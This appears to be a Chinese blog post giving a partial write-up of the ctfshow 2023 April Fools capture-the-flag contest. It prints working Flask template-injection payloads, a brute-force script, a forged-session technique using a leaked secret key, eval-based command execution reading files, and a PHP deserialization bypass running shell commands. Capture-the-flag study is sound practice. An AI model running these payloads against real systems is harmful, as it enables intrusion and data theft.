ctfshow-2023愚人杯部分wp

目录

热身

web

easy_signin

easy_ssti

easy_flask

Crypto:

easy_base

复现

easy_php



热身

脑筋急转弯

ctfshow-2023愚人杯部分wp_第1张图片

web

easy_signin

没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。

ctfshow-2023愚人杯部分wp_第2张图片

c2b63a5012ff4c88be2384cba1255771.png

传入index,php的base64编码aW5kZXgucGhw,得到index.php,其中包含flag

ctfshow-2023愚人杯部分wp_第3张图片

ctfshow-2023愚人杯部分wp_第4张图片

easy_ssti

ctfshow-2023愚人杯部分wp_第5张图片

给了提示下载app.zip

ctfshow-2023愚人杯部分wp_第6张图片

在hello路径后存在ssti注入

简单记录下ssti现阶段的学习步骤

首先ssti注入如何通过已加载类的功能(如果没有就查找父类的其它子类)

ctfshow-2023愚人杯部分wp_第7张图片

ctfshow-2023愚人杯部分wp_第8张图片

文件读取:_frozen_imporlib_external.FileLoader

import requests
url="http://6d312c5b-0236-485b-b16c-44edf9d8e191.challenge.ctf.show/hello/"
for i in range(500):
    # url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
    url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"]}}"
    try:
        re=requests.get(url)
        if(re.status_code==200):
            if '_frozen_importlib_external.FileLoader' in re.text:
                print(i)
        # else:
        #     print(re.text)
    except:
        pass

其中url的组成是[]、''基本类型,然后就是根据魔术方法, __base__是查找父类,__subclasses__()是查找子类,[i]是子类中第几个类

由此通过脚本遍历去获取子类中多少是含有目标类名。

15f6a95ac8274c08b7250833f5226fca.png

使用["get_data"](0,"app.py")

本题执行: 

{{[].__class__.__base__.__subclasses__()[99]["get_data"](0,"app.py")}}

ctfshow-2023愚人杯部分wp_第9张图片

但如果得到/flag由于斜杆的原因会导致url地址错误而不是传参。因此想到了前面做题Linux命令执行绕过 /不是简简单单(参见我前一篇NKctfwp),所以寻找到lipsum

这里用到了flask内置函数lipsum(还有url_for可以直接在payload替换)然后payload:

{{lipsum.__globals__.os.popen('cat `echo "L2ZsYWc="|base64 -d`').read()}}

其实这里还可以同文件读取 去找__builtins__,但用过脚本跑好像没有eval函数,后面做出来也就没深究了。下次ban了lipsum再学(不是)

easy_flask

ctfshow-2023愚人杯部分wp_第10张图片

随便注册一个账号进去发现部分源码,

ctfshow-2023愚人杯部分wp_第11张图片

发现了其中的密钥,并且查看session发现其中有含ey的字符串

25264390a08845f29cb1192302d15b79.png

结果拿着半截开跑,去jwt官网解密,格式都不对,硬搜,小半天过去了

然后发现是flask好像不对 自己写了一个(flask环境以前装过)

from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def login():
    session['loggedin'] = True
    session['username'] = "admin"
    session['role'] = "admin"
    return "1"

if __name__ == "__main__":
    app.run('127.0.0.1')

访问自己127.0.0.1,拿到session去替换题目的session成功以admin权限进入

发现能够任意下载,但没有/flag,所以尝试命令执行的方法

ctfshow-2023愚人杯部分wp_第12张图片

下载源码,发现可调用eval函数

ctfshow-2023愚人杯部分wp_第13张图片

一开始不知到eval函数如何远程命令执行,下面是找到的方法(注意用popen,system没有回显)

__import__("os").popen("ls /").read()

4a732ee72807433c9db9b53c8f8feb3d.png

Payload:

hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()

Crypto:

easy_base

4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

双修!先从最简单的密码学开始。

题目base,然后密文只有数字和字母A-F

先base16解码,再base32解码,再base64解码


复现

easy_php

ctfshow-2023愚人杯部分wp_第14张图片

 第一眼看以为是关于绕过wakeup+特殊字符的php变量名传参

结果怎么也找不到相关php变量名相关知识和网页。于是就放弃了。。

复盘时发现别人也没做什么就是url编码了,但需要注意两点:

1.仅需要对变量名url编码

2。使用URIComponent,如下图:

ctfshow-2023愚人杯部分wp_第15张图片

然后就是传参进行反序列化,但单单寻常的方式传入并不能有任何反应,所以下面也是知识盲区

"ctfshow类未实现serializable接口",所以 找php中内置的实现了Serializable接口的类,这里使用的是

 a = new ctfshow();
echo serialize($a);
?>

 //C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

注意用php在线不能输出同样结果,我用的php7.3.4

 输出的直接就是C开头的字符串,所以绕过了正则(好像还能低版本可以在O或a的冒号后的数字前可以加一个+来进行绕过)

所以最终payload:

C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

你可能感兴趣的:(ctfwp,flask,python)